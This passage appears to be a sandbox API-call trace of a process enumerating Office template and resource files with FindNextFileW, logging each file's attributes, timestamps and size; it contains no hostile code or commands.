FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x20f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultBlackAndWhite.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x2169, dwReserved0=0x0, dwReserved1=0x0, cFileName="Distinctive.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x222a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elegant.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x221b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="Formal.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x210c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manuscript.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modern.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x8ce63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x5adf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x20f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x5d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Traditional.dotx", cAlternateFileName="")) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Traditional.dotx", cAlternateFileName="")) returned 0 [0069.659] GetLastError () returned 0x12 [0069.659] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.659] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1063ed8) returned 1 [0069.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x39aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63ed7300, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63ed7300, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x482d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Review.xsn", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50d55500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROSE.CSS", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1d3a600, ftCreationTime.dwHighDateTime=0x1be1dd7, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1d3a600, ftLastWriteTime.dwHighDateTime=0x1be1dd7, nFileSizeHigh=0x0, nFileSizeLow=0xc06d, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPLBRF35.CHM", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50d55500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xbd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.VSL", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9271b400, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9271b400, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x61204, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG.HXS", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_COL.HXC", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76d900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5a76d900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_COL.HXT", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76d900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5a76d900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76d900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5a76d900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba4cc00, ftCreationTime.dwHighDateTime=0x1cab7e0, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ba4cc00, ftLastWriteTime.dwHighDateTime=0x1cab7e0, nFileSizeHigh=0x0, nFileSizeLow=0x2d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa570, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAPNUM.VSL", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50deda80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.CSS", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c961300, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7c961300, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x2380, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLINTL.DLL", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50deda80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIGRATE.VSL", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67868700, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67868700, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x4e5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOCIALCONNECTORRES.DLL", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe2700, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50deda80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xffe2700, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x644, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACE.VRD", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e13be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.CSS", cAlternateFileName="")) returned 1 [0069.660] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e13be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPS.CSS", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e5fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="STEEL.CSS", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33021f00, ftCreationTime.dwHighDateTime=0x1ca6570, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x33021f00, ftLastWriteTime.dwHighDateTime=0x1ca6570, nFileSizeHigh=0x0, nFileSizeLow=0x69d1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.CHM", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6069a300, ftCreationTime.dwHighDateTime=0x1cab8a9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6069a300, ftLastWriteTime.dwHighDateTime=0x1cab8a9, nFileSizeHigh=0x0, nFileSizeLow=0x15990, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLISTI.DLL", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e5fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUNNY.CSS", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e5fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUNSET.CSS", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e5fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TERRCOTT.CSS", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50e86000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x44b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIMESOLN.VSL", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50ed22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x5fd88, dwReserved0=0x0, dwReserved1=0x0, cFileName="UML.VSL", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f896e00, ftCreationTime.dwHighDateTime=0x1cab8a9, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f896e00, ftLastWriteTime.dwHighDateTime=0x1cab8a9, nFileSizeHigh=0x0, nFileSizeLow=0xef80, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookStrings.dll", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x960df00, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x50f446e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x960df00, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x74c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VALVE.VRD", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ceb0900, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4ceb0900, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x9190, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b68e400, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7b68e400, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa980, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISCOLOR.VSL", cAlternateFileName="")) returned 1 [0069.661] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d766e00, ftCreationTime.dwHighDateTime=0x1cac1e7, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d766e00, 